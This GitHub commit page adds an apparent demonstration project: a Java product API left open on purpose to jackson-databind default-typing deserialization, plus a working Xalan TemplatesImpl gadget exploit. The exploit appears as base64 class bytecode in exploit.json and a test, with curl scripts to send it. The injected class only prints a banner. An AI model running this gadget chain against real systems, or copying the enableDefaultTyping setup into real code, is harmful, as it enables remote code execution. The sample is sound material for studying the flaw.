Skip to content

Commit abc3494

Browse files
committed
Sample jackson-databind exploit using xalan
1 parent 81fe8ab commit abc3494

File tree

13 files changed

+365
-0
lines changed

13 files changed

+365
-0
lines changed

.gitignore

+7
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# Compiled class file
22
*.class
3+
target
34

45
# Log file
56
*.log
@@ -20,3 +21,9 @@
2021

2122
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
2223
hs_err_pid*
24+
25+
# ide stuff
26+
.classpath
27+
.project
28+
.settings
29+
dependency-reduced-pom.xml

curls/add.sh

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
set -x
3+
curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products; echo

curls/exploit.json

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
{
2+
"name": "fakeapple",
3+
"description": "Fake fruit from UK",
4+
"data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
5+
{
6+
"transletBytecodes" : [ "yv66vgAAADQAPAcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAAMADgwADwAQAQAPdHJhbnNsZXRWZXJzaW9uAQABSQkAEgAUBwATAQAQamF2YS9sYW5nL1N5c3RlbQwAFQAWAQADZXJyAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07CAAYAQDu4paI4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilojilojilZcg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKVlyAgIOKWiOKWiOKWiOKVlyDilojilojilojilojilojilZcg4paI4paI4pWXICAg4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilZcgIOKWiOKWiOKVl+KWiOKWiOKVl+KWiOKWiOKVlwoAGgAcBwAbAQATamF2YS9pby9QcmludFN0cmVhbQwAHQAeAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAIAEBCOKWiOKWiOKVlOKVkOKVkOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KVmuKVkOKVkOKWiOKWiOKVlOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKVlyDilojilojilojilojilZHilojilojilZTilZDilZDilojilojilZfilZrilojilojilZcg4paI4paI4pWU4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4paI4paI4pWXIOKWiOKWiOKVkeKWiOKWiOKVkeKWiOKWiOKVkQgAIgEA6uKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKVlOKWiOKWiOKWiOKWiOKVlOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVkSDilZrilojilojilojilojilZTilZ0g4paI4paI4pWRICAg4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWdIOKWiOKWiOKVkeKWiOKWiOKVkeKWiOKWiOKVkQgAJAEA5uKVmuKVkOKVkOKVkOKVkOKWiOKWiOKVkeKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKVkeKVmuKWiOKWiOKVlOKVneKWiOKWiOKVkeKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVkSAg4pWa4paI4paI4pWU4pWdICDilojilojilZEgICDilojilojilZHilojilojilZTilZDilZDilojilojilZcg4pWa4pWQ4pWd4pWa4pWQ4pWd4pWa4pWQ4pWdCAAmAQDo4paI4paI4paI4paI4paI4paI4paI4pWR4pWa4paI4paI4paI4paI4paI4paI4pWU4pWdICAg4paI4paI4pWRICAg4pWa4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWRIOKVmuKVkOKVnSDilojilojilZHilojilojilZEgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKVmuKWiOKWiOKWiOKWiOKWiOKWiOKVlOKVneKWiOKWiOKVkSAg4paI4paI4pWRIOKWiOKWiOKVl+KWiOKWiOKVl+KWiOKWiOKVlwgAKAEA1uKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZDilZDilZDilZDilZ0gICAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZ0gICAgIOKVmuKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZ0gIOKVmuKVkOKVnSDilZrilZDilZ3ilZrilZDilZ3ilZrilZDilZ0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAJTEV4cGxvaXQ7AQAJdHJhbnNmb3JtAQBQKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHADABAChvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBABxMb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ET007AQAIaGFuZGxlcnMBADFbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQBzKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQAkTG9yZy9hcGFjaGUveG1sL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAMExvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEAIQABAAMAAAAAAAMAAQAFAAYAAgAHAAAABAABAAgACgAAAIUAAgABAAAAOyq3AAsqEGW1AA2yABESF7YAGbIAERIftgAZsgAREiG2ABmyABESI7YAGbIAERIltgAZsgAREie2ABmxAAAAAgApAAAAJgAJAAAACgAEAAsACgANABIADgAaAA8AIgAQACoAEQAyABIAOgATACoAAAAMAAEAAAA7ACsALAAAAAEALQAuAAIABwAAAAQAAQAvAAoAAAA/AAAAAwAAAAGxAAAAAgApAAAABgABAAAAFwAqAAAAIAADAAAAAQArACwAAAAAAAEAMQAyAAEAAAABADMANAACAAEALQA1AAIABwAAAAQAAQAvAAoAAABJAAAABAAAAAGxAAAAAgApAAAABgABAAAAHAAqAAAAKgAEAAAAAQArACwAAAAAAAEAMQAyAAEAAAABADYANwACAAAAAQA4ADkAAwABADoAAAACADs=" ],
7+
"transletName": "oops!",
8+
"outputProperties": {}
9+
}
10+
]
11+
}

curls/exploit.sh

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
set -x
3+
curl -i -X POST -d @exploit.json http://localhost:8888/products; echo

curls/list.sh

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
set -x
3+
curl -i http://localhost:8888/products; echo

exploit/Encoder.java

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
import java.io.File;
2+
import java.nio.file.Files;
3+
import java.util.Base64;
4+
5+
public class Encoder {
6+
7+
public static void main(String[] args) throws Exception {
8+
byte[] classBytes = Files.readAllBytes(new File("Exploit.class").toPath());
9+
byte[] encodedBytes = Base64.getEncoder().encode(classBytes);
10+
System.out.println(new String(encodedBytes));
11+
}
12+
}

exploit/Exploit.java

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
import java.util.Properties;
2+
3+
import org.apache.xalan.xsltc.DOM;
4+
import org.apache.xalan.xsltc.TransletException;
5+
import org.apache.xml.dtm.DTMAxisIterator;
6+
import org.apache.xml.serializer.SerializationHandler;
7+
8+
public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {
9+
10+
public Exploit() throws Exception {
11+
super.transletVersion = CURRENT_TRANSLET_VERSION;
12+
13+
System.err.println("███████╗ ██████╗ ████████╗ ██████╗ ███╗ ███╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗██╗██╗");
14+
System.err.println("██╔════╝██╔═══██╗╚══██╔══╝██╔═══██╗████╗ ████║██╔══██╗╚██╗ ██╔╝██╔═══██╗██╔══██╗ ██║██║██║");
15+
System.err.println("███████╗██║ ██║ ██║ ██║ ██║██╔████╔██║███████║ ╚████╔╝ ██║ ██║██████╔╝ ██║██║██║");
16+
System.err.println("╚════██║██║ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══██║ ╚██╔╝ ██║ ██║██╔══██╗ ╚═╝╚═╝╚═╝");
17+
System.err.println("███████║╚██████╔╝ ██║ ╚██████╔╝██║ ╚═╝ ██║██║ ██║ ██║ ╚██████╔╝██║ ██║ ██╗██╗██╗");
18+
System.err.println("╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝");
19+
}
20+
21+
@Override
22+
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
23+
}
24+
25+
@Override
26+
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
27+
throws TransletException {
28+
}
29+
}
30+

pom.xml

+77
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
4+
<modelVersion>4.0.0</modelVersion>
5+
6+
<groupId>io.meterian.samples</groupId>
7+
<artifactId>jackson-exploit</artifactId>
8+
<version>1.0-SNAPSHOT</version>
9+
10+
<properties>
11+
<maven.compiler.target>1.8</maven.compiler.target>
12+
<maven.compiler.source>1.8</maven.compiler.source>
13+
</properties>
14+
15+
<build>
16+
<plugins>
17+
<plugin>
18+
<groupId>org.apache.maven.plugins</groupId>
19+
<artifactId>maven-shade-plugin</artifactId>
20+
<version>2.1</version>
21+
<configuration>
22+
<transformers>
23+
<transformer
24+
implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
25+
<manifestEntries>
26+
<Main-Class>io.meterian.samples.jackson.Main</Main-Class>
27+
</manifestEntries>
28+
</transformer>
29+
</transformers>
30+
</configuration>
31+
<executions>
32+
<execution>
33+
<phase>package</phase>
34+
<goals>
35+
<goal>shade</goal>
36+
</goals>
37+
</execution>
38+
</executions>
39+
</plugin>
40+
</plugins>
41+
</build>
42+
43+
<dependencies>
44+
45+
<dependency>
46+
<groupId>com.sparkjava</groupId>
47+
<artifactId>spark-core</artifactId>
48+
<version>2.7.2</version>
49+
</dependency>
50+
51+
<dependency>
52+
<groupId>com.fasterxml.jackson.core</groupId>
53+
<artifactId>jackson-databind</artifactId>
54+
<version>2.8.8</version>
55+
</dependency>
56+
57+
<dependency>
58+
<groupId>ch.qos.logback</groupId>
59+
<artifactId>logback-classic</artifactId>
60+
<version>1.2.3</version>
61+
</dependency>
62+
63+
<dependency>
64+
<groupId>net.jcip</groupId>
65+
<artifactId>jcip-annotations</artifactId>
66+
<version>1.0</version>
67+
</dependency>
68+
69+
<dependency>
70+
<groupId>xalan</groupId>
71+
<artifactId>xalan</artifactId>
72+
<version>2.7.2</version>
73+
</dependency>
74+
75+
</dependencies>
76+
77+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
package io.meterian.samples.jackson;
2+
3+
import static spark.Spark.*;
4+
5+
import java.io.IOException;
6+
import java.util.Collection;
7+
8+
import org.slf4j.Logger;
9+
import org.slf4j.LoggerFactory;
10+
11+
import com.fasterxml.jackson.core.JsonParseException;
12+
import com.fasterxml.jackson.databind.JsonMappingException;
13+
import com.fasterxml.jackson.databind.ObjectMapper;
14+
15+
import spark.Request;
16+
17+
public class Main {
18+
19+
private static final Logger log = LoggerFactory.getLogger(Main.class);
20+
21+
private static ProductsDatabase products = new ProductsDatabase();
22+
private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
23+
private static ObjectMapper serializer = new ObjectMapper();
24+
25+
public static void main(String[] args) {
26+
27+
port(8888);
28+
29+
get("/products", (request, response) -> {
30+
Collection<Product> res = products.list();
31+
log.info("/products -> {}", res);
32+
return serializer.writeValueAsString(res);
33+
});
34+
35+
post("/products", (request, response) -> {
36+
Product product = deserialize(request);
37+
if (product != null) {
38+
Product res = products.add(product);
39+
response.status(201);
40+
return serializer.writeValueAsString(res);
41+
} else {
42+
response.status(400);
43+
return "Invalid content";
44+
}
45+
});
46+
}
47+
48+
private static Product deserialize(Request request) throws IOException, JsonParseException, JsonMappingException {
49+
try {
50+
return deserializer.readValue(request.body(), Product.class);
51+
} catch (Exception any) {
52+
log.warn("Unexpected exception deserializing content: {}", any.getClass());
53+
return null;
54+
}
55+
}
56+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
package io.meterian.samples.jackson;
2+
3+
import net.jcip.annotations.Immutable;
4+
5+
@Immutable
6+
public class Product {
7+
8+
private int id;
9+
private String name;
10+
private String description;
11+
private Object data;
12+
13+
protected Product() {
14+
}
15+
16+
public Product(int id, String name, String description, Object data) {
17+
this.id = id;
18+
this.name = name;
19+
this.description = description;
20+
this.data = data;
21+
}
22+
23+
public int getId() {
24+
return id;
25+
}
26+
27+
public String getName() {
28+
return name;
29+
}
30+
31+
public String getDescription() {
32+
return description;
33+
}
34+
35+
public Object getData() {
36+
return data;
37+
}
38+
39+
@Override
40+
public String toString() {
41+
return "Product [id=" + id + ", name=" + name + ", description=" + description + ", data=" + data + "]";
42+
}
43+
44+
public Product duplicate(int id) {
45+
return new Product(
46+
id,
47+
this.name,
48+
this.description,
49+
this.data);
50+
}
51+
52+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package io.meterian.samples.jackson;
2+
3+
import java.util.Collection;
4+
import java.util.Collections;
5+
import java.util.HashMap;
6+
import java.util.Map;
7+
import java.util.Random;
8+
import java.util.concurrent.atomic.AtomicInteger;
9+
10+
public class ProductsDatabase {
11+
12+
private Map<String, Product> products = new HashMap<>();
13+
private AtomicInteger idGenerator = new AtomicInteger(0);
14+
15+
public ProductsDatabase() {
16+
add(new Product(0,"apple", "Real apple from Italy", randomData()));
17+
add(new Product(0,"orange", "Real orange from Italy", randomData()));
18+
add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
19+
}
20+
21+
public Collection<Product> list() {
22+
return Collections.unmodifiableCollection(products.values());
23+
}
24+
25+
public Product findById(String id) {
26+
return products.get(id);
27+
}
28+
29+
public Product add(Product newProduct) {
30+
Integer newId = idGenerator.incrementAndGet();
31+
Product product = newProduct.duplicate(newId);
32+
products.put(newId.toString(), product);
33+
return product;
34+
}
35+
36+
public Product update(String id, Product newProduct) {
37+
Product oldProduct = products.get(id);
38+
if (oldProduct == null)
39+
return null;
40+
41+
products.put(id, newProduct);
42+
return newProduct;
43+
}
44+
45+
public Product delete(String id) {
46+
return products.remove(id);
47+
}
48+
49+
private Object randomData() {
50+
String[] colors = {"yellow", "red", "green"};
51+
52+
Map<String,Object> data = new HashMap<>();
53+
data.put("cost", (int)(1+Math.random()*5));
54+
data.put("color", colors[new Random().nextInt(colors.length)]);
55+
return data;
56+
}
57+
58+
59+
}

src/main/resources/logback.xml

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<configuration scan="true" scanPeriod="10 seconds">
2+
3+
<!-- main logger -->
4+
<appender name="main.appender" class="ch.qos.logback.core.ConsoleAppender">
5+
<encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
6+
<pattern>%-2(%d{dd MMM yyyy HH:mm:ss.SSS}) %level %class{0} %msg %n</pattern>
7+
</encoder>
8+
9+
<filter class="ch.qos.logback.classic.filter.ThresholdFilter">
10+
<level>INFO</level>
11+
</filter>
12+
13+
</appender>
14+
15+
16+
<!-- general config -->
17+
<logger name="org.eclipse" level="ERROR" />
18+
19+
<root>
20+
<level value="INFO" />
21+
<appender-ref ref="main.appender" />
22+
</root>
23+
24+
</configuration>

src/test/java/Test.java

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import com.fasterxml.jackson.databind.ObjectMapper;
2+
3+
public class Test {
4+
5+
static ObjectMapper mapper = new ObjectMapper().enableDefaultTyping();
6+
7+
static class Data {
8+
public int id;
9+
public Object obj;
10+
}
11+
12+
public static void main(String args[]) throws Exception {
13+
String JSON =
14+
"{'id': 124,\n" +
15+
" 'obj':[ 'org.apache.xalan.xsltc.trax.TemplatesImpl',\n" +
16+
" {\n" +
17+
" 'transletBytecodes' : [ 'yv66vgAAADQAPAcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAAMADgwADwAQAQAPdHJhbnNsZXRWZXJzaW9uAQABSQkAEgAUBwATAQAQamF2YS9sYW5nL1N5c3RlbQwAFQAWAQADZXJyAQAVTGphdmEvaW8vUHJpbnRTdHJlYW07CAAYAQDu4paI4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilojilojilZcg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKVlyAgIOKWiOKWiOKWiOKVlyDilojilojilojilojilojilZcg4paI4paI4pWXICAg4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilZcgIOKWiOKWiOKVl+KWiOKWiOKVl+KWiOKWiOKVlwoAGgAcBwAbAQATamF2YS9pby9QcmludFN0cmVhbQwAHQAeAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVggAIAEBCOKWiOKWiOKVlOKVkOKVkOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KVmuKVkOKVkOKWiOKWiOKVlOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKVlyDilojilojilojilojilZHilojilojilZTilZDilZDilojilojilZfilZrilojilojilZcg4paI4paI4pWU4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4paI4paI4pWXIOKWiOKWiOKVkeKWiOKWiOKVkeKWiOKWiOKVkQgAIgEA6uKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKVlOKWiOKWiOKWiOKWiOKVlOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVkSDilZrilojilojilojilojilZTilZ0g4paI4paI4pWRICAg4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWdIOKWiOKWiOKVkeKWiOKWiOKVkeKWiOKWiOKVkQgAJAEA5uKVmuKVkOKVkOKVkOKVkOKWiOKWiOKVkeKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKVkeKVmuKWiOKWiOKVlOKVneKWiOKWiOKVkeKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVkSAg4pWa4paI4paI4pWU4pWdICDilojilojilZEgICDilojilojilZHilojilojilZTilZDilZDilojilojilZcg4pWa4pWQ4pWd4pWa4pWQ4pWd4pWa4pWQ4pWdCAAmAQDo4paI4paI4paI4paI4paI4paI4paI4pWR4pWa4paI4paI4paI4paI4paI4paI4pWU4pWdICAg4paI4paI4pWRICAg4pWa4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWRIOKVmuKVkOKVnSDilojilojilZHilojilojilZEgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkSAgIOKVmuKWiOKWiOKWiOKWiOKWiOKWiOKVlOKVneKWiOKWiOKVkSAg4paI4paI4pWRIOKWiOKWiOKVl+KWiOKWiOKVl+KWiOKWiOKVlwgAKAEA1uKVmuKVkOKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZDilZDilZDilZDilZ0gICAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZ0gICAgIOKVmuKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWdICAg4pWa4pWQ4pWdICAgIOKVmuKVkOKVkOKVkOKVkOKVkOKVnSDilZrilZDilZ0gIOKVmuKVkOKVnSDilZrilZDilZ3ilZrilZDilZ3ilZrilZDilZ0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAJTEV4cGxvaXQ7AQAJdHJhbnNmb3JtAQBQKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHADABAChvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBABxMb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ET007AQAIaGFuZGxlcnMBADFbTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQBzKExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTtMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQAkTG9yZy9hcGFjaGUveG1sL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAMExvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEAIQABAAMAAAAAAAMAAQAFAAYAAgAHAAAABAABAAgACgAAAIUAAgABAAAAOyq3AAsqEGW1AA2yABESF7YAGbIAERIftgAZsgAREiG2ABmyABESI7YAGbIAERIltgAZsgAREie2ABmxAAAAAgApAAAAJgAJAAAACgAEAAsACgANABIADgAaAA8AIgAQACoAEQAyABIAOgATACoAAAAMAAEAAAA7ACsALAAAAAEALQAuAAIABwAAAAQAAQAvAAoAAAA/AAAAAwAAAAGxAAAAAgApAAAABgABAAAAFwAqAAAAIAADAAAAAQArACwAAAAAAAEAMQAyAAEAAAABADMANAACAAEALQA1AAIABwAAAAQAAQAvAAoAAABJAAAABAAAAAGxAAAAAgApAAAABgABAAAAHAAqAAAAKgAEAAAAAQArACwAAAAAAAEAMQAyAAEAAAABADYANwACAAAAAQA4ADkAAwABADoAAAACADs=' ],\n" +
18+
" 'transletName' : 'oops!',\n" +
19+
" 'outputProperties' : { }\n" +
20+
" }\n" +
21+
" ]\n" +
22+
"}";
23+
JSON = JSON.replace("'", "\"");
24+
25+
mapper.readValue(JSON, Data.class);
26+
}
27+
28+
}

0 commit comments

Comments
 (0)